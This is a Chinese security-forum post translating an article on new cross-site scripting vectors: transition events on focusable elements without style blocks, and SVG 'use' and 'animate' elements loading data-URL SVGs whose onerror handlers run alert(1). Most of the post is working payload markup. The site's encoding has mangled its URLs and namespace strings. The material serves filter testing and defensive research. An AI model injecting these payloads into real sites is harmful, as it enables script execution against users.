首页
社区
课程
招聘
[翻译]新的XSS载体
发表于: 2022-5-28 16:16 1132

[翻译]新的XSS载体

2022-5-28 16:16
1132

New XSS vectors

原文地址:988K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6H3L8%4u0@1M7%4N6A6k6$3N6W2M7W2)9J5k6h3&6W2N6q4)9J5c8Y4u0W2M7$3g2S2M7X3y4Z5i4K6u0r3L8X3g2%4i4K6u0V1P5s2y4K6i4K6u0V1N6X3g2U0N6r3!0J5M7#2)9J5x3%4c8G2M7l9`.`.

翻译:梦幻的彼岸


基于无样式块的transition(过渡)事件

所以,最近,我正在更新XSS备忘单,以修复某些因浏览器更新而过时的载体。在看载体时,transition(过渡)事件一直萦绕在我的脑海中。他们需要样式块和事件:

<style>:target {color:red;}</style>
<xss id=x style="transition:color 1s" ontransitionend=alert(1)></xss>

我想取消对样式块的要求。我想知道哪些浏览器的样式是默认添加的?我在网上搜索了一下,W3Schools上的一个页面引导我探索这个问题。某些标签有focus选择器--这非常有趣,因为这意味着transition(过渡)将与他们一起工作! 浏览列表时,我注意到轮廓线正在被使用,然后我记得当元素具有可访问性时,Chrome 会在元素周围放置轮廓线。

这意味着如果我们把transition(过渡)应用到轮廓属性,就可以取消样式块的要求。这个载体适用于任何focusable标签。

<xss style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>test</xss>

适当的XSS黑客攻击! 就像以前一样。

备忘单SVG“使用”元素载体

不久前,我发现了一些不错的基于SVG的载体,你可能不太熟悉。最近的一次浏览器更新修改了Chrome和Firefox的 "use "元素的行为。你现在可以在 "use "元素的数据URL内自动执行嵌入SVG的JavaScript:

<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>

这是base64解码后的数据:

<svg id='x' xmlns='924K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4M7K6i4K6u0W2L8%4u0Y4i4K6u0r3x3U0l9H3x3q4)9J5c8Y4y4$3k6#2)9J5y4W2)9J5x3K6x3&6i4K6y4n7
 xmlns:xlink='ad1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4M7K6i4K6u0W2L8%4u0Y4i4K6u0r3x3e0V1&6z5g2)9J5c8Y4S2D9K9h3&6C8i4K6t1$3i4K6t1K6x3K6W2Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7N6$3W2V1N6r3S2Q4x3@1c8Q4x3U0k6Q4x3U0x3K6z5g2)9K6b7U0p5H3x3q4)9J5y4W2)9J5x3K6x3&6i4K6y4n7i4K6t1$3L8X3u0K6M7q4)9K6b7X3S2W2K9h3N6Z5N6q4)9K6c8q4)9J5y4W2)9J5x3K6x3&6i4K6y4n7x3e0l9H3i4K6t1$3i4K6t1K6x3K6W2Q4x3@1u0Q4x3U0k6Y4N6q4)9K6b7R3`.`.
<image href="1" onerror="alert(1)" />
</svg>

虽然你不一定要使用base64,但你也可以这样做:

<svg><use href="data:image/svg+xml,<svg id='x' xmlns='039K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4M7K6i4K6u0W2L8%4u0Y4i4K6u0r3x3U0l9H3x3q4)9J5c8Y4y4$3k6#2)9J5y4W2)9J5x3K6x3&6i4K6y4n7i4K6t1$3k6%4c8Q4x3@1u0Q4x3U0k6D9N6q4)9K6b7X3W2E0j5h3N6W2i4K6t1$3L8X3u0K6M7q4)9K6b7X3S2J5k6h3k6Q4x3@1c8Q4x3U0k6Q4x3U0x3K6z5g2)9K6b7U0q4Q4x3U0k6Q4x3U0x3K6z5g2)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0G2L8X3g2J5M7X3!0J5i4K6y4p5i4K6t1$3i4K6t1K6x3K6W2Q4x3@1u0S2L8r3g2J5N6q4)9J5z5o6q4Q4x3U0W2Q4x3U0k6Q4x3U0x3K6z5g2)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3V1k6Q4x3U0k6Y4N6q4)9K6b7W2)9J5y4X3I4@1i4K6y4n7i4K6u0r3M7%4k6Y4i4K6t1$3k6%4c8Q4x3@1u0Q4x3U0y4^5i4K6t1$3M7i4g2G2N6q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3V1k6Q4x3U0k6Y4N6q4)9K6b7R3`.`.

最后,你可以使用animate标签来改变 "use "元素的超链接(href),以执行JavaScript:

<svg><animate xlink:href="#x" attributeName="href" values="data:image/svg+xml,<svg id='x' xmlns='8f0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4M7K6i4K6u0W2L8%4u0Y4i4K6u0r3x3U0l9H3x3q4)9J5c8Y4y4$3k6#2)9J5y4W2)9J5x3K6x3&6i4K6y4n7i4K6t1$3k6%4c8Q4x3@1t1`.
<image href='1' onerror='alert(1)' /></svg>#x" />
<use id=x />

如果你喜欢这些载体并想了解更多,我推荐你去我们的网络安全学院的XSS部分,在那里你可以通过我们的互动实验室来磨练你的技能--或者访问我们的XSS备忘单来了解更多。




[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-5-28 16:25 被梦幻的彼岸编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回